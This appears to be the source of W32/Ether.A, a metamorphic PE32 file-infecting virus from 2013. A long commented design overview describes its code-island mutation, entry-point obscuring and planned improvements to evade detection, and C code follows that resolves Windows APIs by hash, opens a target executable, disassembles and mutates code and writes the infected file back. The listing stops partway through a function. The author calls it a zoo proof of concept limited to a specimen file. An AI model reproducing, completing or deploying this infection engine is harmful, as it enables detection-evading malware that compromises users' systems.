/* ___________ __ .__ \_ _____// |_| |__ ___________ | __)_\ __\ | \_/ __ \_ __ \ | \| | | Y \ ___/| | \/ /_______ /|__| |___| /\___ >__| \/ \/ \/ ===- W32/Ether.A by Black Sun - 32-bit Metamorphic Code Island Integration Virus The name Ether is derived from the celestial, immaterial, and abstract nature of the conceptual in contrast to the frozen, material realm of the physical. ===- Instruction dissociation, mutation and integration The solvent and solute of a given infection depends upon the number of instructions in this virus, in contrast to the number of instructions in a target PE32. A depiction of the interaction: Solvent: Solute: Push Ebp <- Solvent entry point Push 16 <- Solute entry point Mov Ebp, Esp Push GPTR Sub Esp, 08h Kernel32.dll!GlobalAlloc -> Call Dword [Esi] Mov Eax, <0x0040XXXX> <- "Solvent program" Mov Dword [Eax], 'uloS' Mov Dword [Ebp - 04h], Eax Mov Word [Eax + 4], 'et' Mov Dword [Ebp - 08h], 0 Mov Edi, Eax Push Dword [Ebp - 04h] Push 'mar' Call Dword [] Push 'gorP' Mov Esi, Eax Mov Eax, Esp NextCharacter: Push 0 Cmp Dword [Ebp -08h], Esi Push Eax Jge Finished Push Edi Push Dword [Ebp - 04h] Push 0 Push Dword [<0x0040XXXX>] <- "%c" Call Dword [Esi + 04h] Call Dword [] Ret ^ Inc Dword [Ebp - 08h] | User32.dll!MessageBoxA Inc Dword [Ebp -04h] | Jmp NextCharacter | Finished: | Mov Esp, Ebp | Pop Ebp | Ret | | | |----------------------------+-------------| | | Solvate: <-------------------| Island1: Mov Esi, Eax NextCharacter: Cmp Dword [Ebp - 08h], Esi Jge Finished Push Dword [Ebp - 04h] Jmp Island5 Island2: Mov Dword [Esp], 0 Sub Esp, 04h Push Eax Push Edi Mov Dword [Esp], 0 Sub Esp, 04h Call Dword [Esi + 04h] <- User32.dll!MessageBoxA Ret Island3: Push Ebp <- Solvate entry point/original solvent entry point Mov Ebp, Esp Sub Esp, 08h Mov Dword [Ebp - 04h], <0x0040XXXX> <- ASCII "Solvent program" Mov Dword [Ebp - 08h], 0 Push Dword [Ebp - 04h] Call Dword [] Jmp Island1 Island4: Push 'uloS' Pop Dword [Eax] Mov Word [Eax + 4], 'et' Push Eax Pop Edi Push 'mar' Push 'gorP' Push Esp Pop Eax Jmp Island2 Island5: Push Dword [<0x0040XXXX>] <- "%c" Call Dword [] Inc Dword [Ebp - 08h] Inc Dword [Ebp -04h] Jmp NextCharacter Finished: Mov Esp, Ebp Pop Ebp Ret Island6: Push 16 <- Original solute entry point Mov Dword [Esp], GPTR Sub Esp, 04h Call Dword [Esi] <- Kernel32.dll!GlobalAlloc Jmp Island4 The mutation consists of synonymization of virus instructions, the encryption of constant data within those instructions, and permutation via code winding in both the host and virus codes. Physical host and virus codes are passed through the firmament, dissociating them and abstracting them to a logical intermediary layer of ethereal fragments, which are then segmented into islands, shuffled, and dissolved into oneanother. This ethereal logic is then once again frozen into a solid, material form of x86 byte code and the solvate PE32 program is fully re-generated to accomodate it. ===- Payload and infection vectors The virus targets PE32 the Specimin.exe file in the current directory, if and only if it meets specific geometric criteria. Among these, is the presence of relocations in order for the virus to perform its de-compilations. For this reason, mainly DLL files are affected. The payload is activated everytime a new file is infected. First the solvent, and then the solvate content is converted to sound and projected in WAV format. A timer also determines the potential of an identification message displaying itself at random on an infected system. EPO is performed by integrating an IAT-based call in to the code section which will execute the virus as a seperate thread. The virus may never receive control, due to the random nature of the detour. ===- Suffix All programs, including virus programs, are simply logical, algorithmical substances. They are a meaning, perspective, and premonition of an action of tangible importance to their creator. This piece is meant to demonstrate the distinction between the physical and ethereal states of logical matter, and the firmament that divides them. This code was forced, due to time constraints, to sacrifice some of its stability. PE32 de-compilation is a highly complex process and there are a variety of known issues within the engine at this point: - Switch index array data tables within the code segment are not properly identified or handled. Switch address tables are handled fine. - Exports are not always correctly handled upon 2nd-generation infections, resulting in crashes. - Certain abnormal PE32 structure geometric traits can cause issues in 1st generation infections. Ultimately this is an initial, .A variant which represents the primary concept and base engine for code island integration/metamorphism synthesis. There are many things that can and should be improved to increase the difficulty of detection, and also many things that should be fixed for the sake of stability. Alea iacta est, Black Sun, Fall 2013 ===- Legal Disclaimer This is a "zoo" virus. It was not written with the intention of spreading in the wild and is meant as a proof-of-concept program for malware analysts and security researchers. This virus does not include a damaging payload. It is exclusively crafted to only target designated specimin binaries. */ [Ether.c] #include #include #include "Ether.h" #include "PEB.h" VOID PrimaryEtherInitialization // Default entry point is the top of the .text section. Germ must be compiled in this context. (DWORD dwCanaryToken) { PPEB pPEB; API_TABLE APITable; PLDR_MODULE pNtDLLLDRModule; DWORD dwKernel32NameString[5], dwImagehlpNameString[5], dwUser32NameString[4], dwMsvcrtNameString[4]; UNICODE_STRING usKernel32NameString, usUser32NameString, usMsvcrtNameString, usImagehlpNameString; HANDLE hTargetPE32=NULL; PBYTE pTargetPE32Pool, pSynonymousPE32Pool; BOOL bGermInstance=TRUE; asm("Mov %0, Dword Ptr Fs:[0x30] \n" : "=r" (pPEB)); pNtDLLLDRModule=((PBYTE)pPEB->LoaderData->InMemoryOrderModuleList.Flink - InMemoryOrderModuleListDelta); pNtDLLLDRModule=((PBYTE)pNtDLLLDRModule->InMemoryOrderModuleList.Flink - InMemoryOrderModuleListDelta); APITable.dwNtDLLBase=pNtDLLLDRModule->BaseAddress; dwKernel32NameString[0]=('K' | ('e' << 16)); dwKernel32NameString[1]=('r' | ('n' << 16)); dwKernel32NameString[2]=('e' | ('l' << 16)); dwKernel32NameString[3]=('3' | ('2' << 16)); dwKernel32NameString[4]=0; (APITable.RtlInitUnicodeString=(RTLINITUNICODESTRING)GetFunctionAddress(APITable.dwNtDLLBase, 0x0E1D80AE))(&usKernel32NameString, &dwKernel32NameString); (APITable.LdrLoadDll=(LDRLOADDLL)GetFunctionAddress(APITable.dwNtDLLBase, 0x000353C8))(NULL, 0, &usKernel32NameString, &APITable.dwKernel32Base); DWORD dwUniqueMutexNameString[4]; HANDLE hUniqueMutex; dwUniqueMutexNameString[0]=('E' | ('t' << 16)); dwUniqueMutexNameString[1]=('h' | ('e' << 16)); dwUniqueMutexNameString[2]=('r' | (0x00 << 16)); dwUniqueMutexNameString[3]=0; if((hUniqueMutex=(APITable.CreateMutexW=GetFunctionAddress(APITable.dwKernel32Base, 0x000CF396))(0, TRUE, &dwUniqueMutexNameString)) != NULL) { if((APITable.RtlGetLastWin32Error=GetFunctionAddress(APITable.dwNtDLLBase, 0x0E127BF0))() == ERROR_ALREADY_EXISTS) { return; } } else { return; } dwUser32NameString[0]=('U' | ('s' << 16)); dwUser32NameString[1]=('e' | ('r' << 16)); dwUser32NameString[2]=('3' | ('2' << 16)); dwUser32NameString[3]=0; dwMsvcrtNameString[0]=('M' | ('s' << 16)); dwMsvcrtNameString[1]=('v' | ('c' << 16)); dwMsvcrtNameString[2]=('r' | ('t' << 16)); dwMsvcrtNameString[3]=0; dwImagehlpNameString[0]=('I' | ('m' << 16)); dwImagehlpNameString[1]=('a' | ('g' << 16)); dwImagehlpNameString[2]=('e' | ('h' << 16)); dwImagehlpNameString[3]=('l' | ('p' << 16)); dwImagehlpNameString[4]=0; APITable.RtlInitUnicodeString(&usUser32NameString, &dwUser32NameString); APITable.RtlInitUnicodeString(&usMsvcrtNameString, &dwMsvcrtNameString); APITable.RtlInitUnicodeString(&usImagehlpNameString, &dwImagehlpNameString); APITable.LdrLoadDll(NULL, 0, &usUser32NameString, &APITable.dwUser32Base); APITable.LdrLoadDll(NULL, 0, &usMsvcrtNameString, &APITable.dwMsvcrtBase); APITable.LdrLoadDll(NULL, 0, &usImagehlpNameString, &APITable.dwImagehlpBase); (APITable.Srand=(SRAND)GetFunctionAddress(APITable.dwMsvcrtBase, 0x00001B08))((APITable.GetTickCount=(GETTICKCOUNT)GetFunctionAddress(APITable.dwKernel32Base, 0x000D1ED8))()); APITable.lstrcmpA=(LSTRCMPA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DCDA); APITable.lstrcmpiA=(LSTRCMPIA)GetFunctionAddress(APITable.dwKernel32Base, 0x0001BA96); APITable.IsBadReadPtr=(ISBADREADPTR)GetFunctionAddress(APITable.dwKernel32Base, 0x000D40D4); APITable.lstrcpyA=(LSTRCPYA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD16); APITable.lstrcpyW=(LSTRCPYW)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD42); APITable.lstrlenA=(LSTRLENA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD22); APITable.lstrlenW=(LSTRLENW)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD4E); APITable.GlobalFree=(GLOBALFREE)GetFunctionAddress(APITable.dwKernel32Base, 0x0003460E); APITable.Rand=(RAND)GetFunctionAddress(APITable.dwMsvcrtBase, 0x00000CA8); APITable.CheckSumMappedFile=(CHECKSUMMAPPEDFILE)GetFunctionAddress(APITable.dwImagehlpBase, 0x0329A7E2); APITable.lstrcpynW=(LSTRCPYNW)GetFunctionAddress(APITable.dwKernel32Base, 0x0001BB4E); (APITable.RtlAddVectoredExceptionHandler=(RTLADDVECTOREDEXCEPTIONHANDLER)GetFunctionAddress(APITable.dwNtDLLBase, 0xFD705618))(1, (APITable.RtlExitUserThread=(RTLEXITUSERTHREAD)GetFunctionAddress(APITable.dwNtDLLBase, 0x01C3FE94))); DWORD dwSpeciminFilePathString[7], dwTargetPE32PoolSize, dwBytesRead=0; dwSpeciminFilePathString[0]=('S' | ('p' << 16)); dwSpeciminFilePathString[1]=('e' | ('c' << 16)); dwSpeciminFilePathString[2]=('i' | ('m' << 16)); dwSpeciminFilePathString[3]=('i' | ('n' << 16)); dwSpeciminFilePathString[4]=('.' | ('e' << 16)); dwSpeciminFilePathString[5]=('x' | ('e' << 16)); dwSpeciminFilePathString[6]=0; if((hTargetPE32=(APITable.CreateFileW=(CREATEFILEW)GetFunctionAddress(APITable.dwKernel32Base, 0x00067772))(&dwSpeciminFilePathString, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL)) == INVALID_HANDLE_VALUE) { return; } pTargetPE32Pool=(APITable.GlobalAlloc=(GLOBALALLOC)GetFunctionAddress(APITable.dwKernel32Base, 0x00068C42))(GPTR, (dwTargetPE32PoolSize=(APITable.GetFileSize=(GETFILESIZE)GetFunctionAddress(APITable.dwKernel32Base, 0x0006834A))(hTargetPE32, NULL))); (APITable.ReadFile=(READFILE)GetFunctionAddress(APITable.dwKernel32Base, 0x0000D562))(hTargetPE32, pTargetPE32Pool, dwTargetPE32PoolSize, &dwBytesRead, NULL); PIMAGE_DOS_HEADER pTargetDOSHeader; PIMAGE_OPTIONAL_HEADER pTargetOptionalHeader32; PIMAGE_FILE_HEADER pTargetFileHeader; PIMAGE_SECTION_HEADER pTargetSectionHeaders; pTargetDOSHeader=(PIMAGE_DOS_HEADER)pPEB->ImageBase; pTargetFileHeader=(PIMAGE_FILE_HEADER)(pPEB->ImageBase + pTargetDOSHeader->e_lfanew + 4); pTargetOptionalHeader32=(PIMAGE_OPTIONAL_HEADER)((PBYTE)pTargetFileHeader + sizeof(IMAGE_FILE_HEADER)); pTargetSectionHeaders=(PIMAGE_SECTION_HEADER)((PBYTE)pTargetOptionalHeader32 + sizeof(IMAGE_OPTIONAL_HEADER)); // Germ? Use the current code section based as the payload pool. Otherwise, this is an absolute address indicating the location of the frozen code island table. PBYTE pFrozenCodeIslandAbstractionPool, pPayloadPool; DWORD dwBytesWritten, dwPayloadPoolSize; pFrozenCodeIslandAbstractionPool=0xA1B1C1FE; pPayloadPool=(pTargetSectionHeaders->VirtualAddress + pPEB->ImageBase); if(((DWORD)pFrozenCodeIslandAbstractionPool & 0xA1B1C100) == 0xA1B1C100) { dwPayloadPoolSize=pTargetSectionHeaders->Misc.VirtualSize; pFrozenCodeIslandAbstractionPool=NULL; } else { DWORD dwMessageString[13], dwCurrentFrozenCodeIslandOffset, dwCurrentCodeIslandIndex; PX86_CODE_ABSTRACTION_TABLE pPayloadCodeAbstractionTable; dwMessageString[0]=('W' | ('3' << 16)); dwMessageString[1]=('2' | ('/' << 16)); dwMessageString[2]=('E' | ('t' << 16)); dwMessageString[3]=('h' | ('e' << 16)); dwMessageString[4]=('r' | ('.' << 16)); dwMessageString[5]=('A' | (' ' << 16)); dwMessageString[6]=('b' | ('y' << 16)); dwMessageString[7]=(' ' | ('B' << 16)); dwMessageString[8]=('l' | ('a' << 16)); dwMessageString[9]=('c' | ('k' << 16)); dwMessageString[10]=(' ' | ('S' << 16)); dwMessageString[11]=('u' | ('n' << 16)); dwMessageString[12]=0; (APITable.MessageBoxW=(MESSAGEBOXW)GetFunctionAddress(APITable.dwUser32Base, 0x0006B846))(NULL, &dwMessageString, &dwMessageString, 0); if((pPayloadCodeAbstractionTable=AnalyzeX86IsolatedCodeSequence(&APITable, pPayloadPool, (DWORD)pFrozenCodeIslandAbstractionPool - ((DWORD)pPEB->ImageBase + pTargetSectionHeaders->VirtualAddress))) == NULL) { return; } pPayloadPool=APITable.GlobalAlloc(GPTR, (dwPayloadPoolSize=pPayloadCodeAbstractionTable->dwTotalCodeSize)); PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable=APITable.GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + ((*(PDWORD)&pFrozenCodeIslandAbstractionPool[0] + 1) * sizeof(X86_CODE_ISLAND_ABSTRACTION))); PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction; pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=*(PDWORD)&pFrozenCodeIslandAbstractionPool[0]; for(dwCurrentCodeIslandIndex=0, dwCurrentFrozenCodeIslandOffset=8; dwCurrentCodeIslandIndex <= *(PDWORD)&pFrozenCodeIslandAbstractionPool[0]; dwCurrentCodeIslandIndex++) { for(pCurrentX86InstructionAbstraction=pPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { if(pCurrentX86InstructionAbstraction->dwInstructionOffset == *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandOffset]) { pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction; if(!dwCurrentCodeIslandIndex == 0) { pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } } else if(pCurrentX86InstructionAbstraction->dwInstructionOffset == *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandOffset + 4]) { pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction=pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction; } } dwCurrentFrozenCodeIslandOffset += 8; } ExtendEtherealX86BranchInstructions(pPayloadCodeAbstractionTable); dwPayloadPoolSize=RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable); SolidifyX86CodeIslandAbstractions(&APITable, pCodeX86AbstractionIslandTable, &pPayloadPool, &dwPayloadPoolSize, NULL); bGermInstance=FALSE; } DWORD dwSynonymousPE32PoolSize; if(IntegratePayload32(&APITable, pTargetPE32Pool, dwTargetPE32PoolSize, pPayloadPool, dwPayloadPoolSize, &pSynonymousPE32Pool, &dwSynonymousPE32PoolSize, bGermInstance, pFrozenCodeIslandAbstractionPool)) { dwBytesWritten=0; (APITable.SetFilePointer=(SETFILEPOINTER)GetFunctionAddress(APITable.dwKernel32Base, 0x00371ED8))(hTargetPE32, NULL, NULL, FILE_BEGIN); (APITable.WriteFile=(WRITEFILE)GetFunctionAddress(APITable.dwKernel32Base, 0x0001CA42))(hTargetPE32, pSynonymousPE32Pool, dwSynonymousPE32PoolSize, &dwBytesWritten, NULL); } (APITable.CloseHandle=(CLOSEHANDLE)GetFunctionAddress(APITable.dwKernel32Base, 0x00067E1A))(hTargetPE32); return; } DWORD GetFunctionAddress (DWORD dwModuleBase, DWORD dwFunctionCheckSum) { PDWORD pdwAddressOfNames, pdwAddressOfFunctions; PWORD pwAddressOfNameOrdinals; DWORD dwX, dwY, dwFunctionAddress; PBYTE pFunctionName; PIMAGE_DOS_HEADER pImageDOSHeader=(PIMAGE_DOS_HEADER)dwModuleBase; PIMAGE_FILE_HEADER pImageFileHeader=(PIMAGE_FILE_HEADER)(dwModuleBase + pImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pImageOptionalHeader=(PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_EXPORT_DIRECTORY pImageExportDirectory=(dwModuleBase + pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); pdwAddressOfNames=(PDWORD)(dwModuleBase + pImageExportDirectory->AddressOfNames); pwAddressOfNameOrdinals=(PWORD)(dwModuleBase + pImageExportDirectory->AddressOfNameOrdinals); pdwAddressOfFunctions=(PDWORD)(dwModuleBase + pImageExportDirectory->AddressOfFunctions); for(dwX=0, dwFunctionAddress=0; dwX < pImageExportDirectory->NumberOfNames; dwX++) { pFunctionName=(PBYTE)(dwModuleBase + pdwAddressOfNames[dwX]); for(dwY=0; *pFunctionName; *pFunctionName++) { dwY=(dwY + (*(PBYTE)pFunctionName|0x60)); dwY <<= 1; } if(dwY == dwFunctionCheckSum) { dwFunctionAddress=(dwModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinals[dwX]]); break; } } return dwFunctionAddress; } PX86_CODE_ABSTRACTION_TABLE AnalyzeX86IsolatedCodeSequence (PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolSize) { DWORD dwCodeOffset, dwCurrentInstructionLength; PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL, pPreviousX86InstructionAbstraction=NULL; PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE)); for(dwCodeOffset=0, dwCurrentInstructionLength=0; dwCodeOffset < dwCodePoolSize; dwCodeOffset += dwCurrentInstructionLength, pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++) { if((pCurrentX86InstructionAbstraction=IdentifyX86Instruction(pAPITable, pCodePool, dwCodeOffset)) == NULL) { return NULL; } if(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction == NULL) { pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagEntryPoint; } else { pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousX86InstructionAbstraction; } pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction; dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwInstructionLength; pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCodeOffset; } pCodeX86InstructionAbstractionTable->dwTotalCodeSize=dwCodePoolSize; IdentifyEtherealX86BranchCorrespondences(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction); return pCodeX86InstructionAbstractionTable; } PX86_CODE_ABSTRACTION_TABLE AnalyzeX86PE32CodeSequence (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwCodePoolSize, PRELOCATION_ABSTRACTION pRelocationAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable) { PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=(PBYTE)pTargetPE32Pool + pTargetImageDOSHeader->e_lfanew + 4; PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=(PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=(PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER); DWORD dwCodeSectionIndex, dwCodeSectionNameString[2]; dwCodeSectionNameString[0]='xet.'; dwCodeSectionNameString[1]='t'; if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1) { return FALSE; } // Sequentially disassemble code section: unknown opcodes, and instructions with absolute addresses in inappropriate locations are indications of an error DWORD dwCurrentInstructionSymbolLength, dwDisassemblyStatus=DISASSEMBLY_STATUS_SUCCESS, dwTargetPE32Offset, dwCurrentInstructionLength; PX86_INSTRUCTION_ABSTRACTION pTemporaryX86InstructionAbstraction, pCurrentX86InstructionAbstraction=NULL, pPreviousX86InstructionAbstraction=NULL, pSwitchTableInstructionAbstraction; PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction; DWORD dwExportedFunctionOffset, dwX; int nAbsoluteAddressInstructionOffset; PX86_INSTRUCTION_ABSTRACTION pSwitchReferenceInstructionAbstraction; PEXPORT_ABSTRACTION pCurrentExportAbstraction; PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE)); for(dwTargetPE32Offset=(pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData, dwCurrentInstructionLength=0; dwTargetPE32Offset < ((pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData + dwCodePoolSize); dwTargetPE32Offset += dwCurrentInstructionLength, pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++) { if((pCurrentX86InstructionAbstraction=IdentifyX86Instruction(pAPITable, pTargetPE32Pool, dwTargetPE32Offset)) == NULL) { return NULL; } if(pPreviousX86InstructionAbstraction != NULL) { if((*(PWORD)&pPreviousX86InstructionAbstraction->Data[0] == 0 || *(PWORD)&pPreviousX86InstructionAbstraction->Data[0] == 0xFFFF) && (*(PWORD)&pCurrentX86InstructionAbstraction->Data[0] == 0 || *(PWORD)&pCurrentX86InstructionAbstraction->Data[0] == 0xFFFF) && (pCurrentX86InstructionAbstraction->dwInstructionLength == 2 && (pPreviousX86InstructionAbstraction->dwInstructionLength == 2 || pPreviousX86InstructionAbstraction->dwDataSize == 2))) { pPreviousX86InstructionAbstraction->dwDataSize=2; pPreviousX86InstructionAbstraction->dwInstructionLength=0; pCurrentX86InstructionAbstraction->dwDataSize=2; pCurrentX86InstructionAbstraction->dwInstructionLength=0; } } if(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction == NULL) { pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } else { pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousX86InstructionAbstraction; } pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction; if(((dwTargetPE32Offset - (pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData) + (pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress) == pTargetImageOptionalHeader->AddressOfEntryPoint) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlagEntryPoint|X86InstructionExtendedFlagReferencedAddress); } // Check for absolute address correspondences within this instruction for(pCurrentRelocationAbstraction=pRelocationAbstractions; pCurrentRelocationAbstraction != NULL; pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation) { if(pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex == dwCodeSectionIndex) { // Potentially associate absolute address location and current instruction nAbsoluteAddressInstructionOffset=(((pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->PointerToRawData + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset) - dwTargetPE32Offset); if(nAbsoluteAddressInstructionOffset >= 0 && nAbsoluteAddressInstructionOffset < (pCurrentX86InstructionAbstraction->dwInstructionLength == 0 ? pCurrentX86InstructionAbstraction->dwDataSize : pCurrentX86InstructionAbstraction->dwInstructionLength)) { if(nAbsoluteAddressInstructionOffset == 0) { pCurrentX86InstructionAbstraction->dwDataSize=4; pCurrentX86InstructionAbstraction->dwDataOffset=0; pCurrentX86InstructionAbstraction->dwMemoryOffset=0; pCurrentX86InstructionAbstraction->dwInstructionLength=0; pCurrentX86InstructionAbstraction->dwStandardFlags=0; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagReferencedAddress; pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction; RelocateMemory(pCurrentX86InstructionAbstraction->Data, pTargetPE32Pool + dwTargetPE32Offset, 4); pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION; dwDisassemblyStatus=DISASSEMBLY_STATUS_DATA_ERROR; } else if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32) || (pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32)) { if(pCurrentX86InstructionAbstraction->dwDataOffset == nAbsoluteAddressInstructionOffset) { pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction; pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION; } else if(pCurrentX86InstructionAbstraction->dwMemoryOffset == nAbsoluteAddressInstructionOffset) { pCurrentX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentRelocationAbstraction; pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION; } else { dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR; break; } } else { dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR; break; } } } } if(dwDisassemblyStatus == DISASSEMBLY_STATUS_FATAL_ERROR) { break; } if(pExportAbstractionTable != NULL) { for(pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction) { dwExportedFunctionOffset=(((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->PointerToRawData + pCurrentExportAbstraction->dwExportedFunctionSectionOffset) - dwTargetPE32Offset); if(dwExportedFunctionOffset == 0) { pCurrentExportAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentX86InstructionAbstraction->pExportAbstraction=pCurrentExportAbstraction; } } } if(pCurrentX86InstructionAbstraction->dwInstructionLength == 0) { dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwDataSize; } else { dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwInstructionLength; } pCurrentX86InstructionAbstraction->dwInstructionOffset=(dwTargetPE32Offset - (pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData); } pCodeX86InstructionAbstractionTable->dwTotalCodeSize=dwCodePoolSize; for(pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction!= NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { if(pRelocationAbstractions != NULL) { pCurrentRelocationAbstraction=pRelocationAbstractions; while(pCurrentRelocationAbstraction != NULL) { if(pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex == dwCodeSectionIndex) { // Potentially associate absolute address reference and current instruction nAbsoluteAddressInstructionOffset=(pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset - pCurrentX86InstructionAbstraction->dwInstructionOffset); if(nAbsoluteAddressInstructionOffset == 0) { pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE; pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress; } else if(pCurrentRelocationAbstraction->pLocationSymbol != NULL && nAbsoluteAddressInstructionOffset == 4) { pSwitchReferenceInstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // Verify that the offset represents a switch address table for(nAbsoluteAddressInstructionOffset=-4, pTemporaryX86InstructionAbstraction=pCurrentX86InstructionAbstraction; nAbsoluteAddressInstructionOffset < 4; pTemporaryX86InstructionAbstraction=pTemporaryX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { if(pTemporaryX86InstructionAbstraction->dwInstructionLength == 0) { nAbsoluteAddressInstructionOffset += pTemporaryX86InstructionAbstraction->dwDataSize; } else { nAbsoluteAddressInstructionOffset += pTemporaryX86InstructionAbstraction->dwInstructionLength; } } if(nAbsoluteAddressInstructionOffset == 4 && pTemporaryX86InstructionAbstraction->dwDataSize == 4 && pTemporaryX86InstructionAbstraction->pDataRelocationAbstraction != NULL && pTemporaryX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pTemporaryX86InstructionAbstraction) { pSwitchTableInstructionAbstraction=pTemporaryX86InstructionAbstraction; 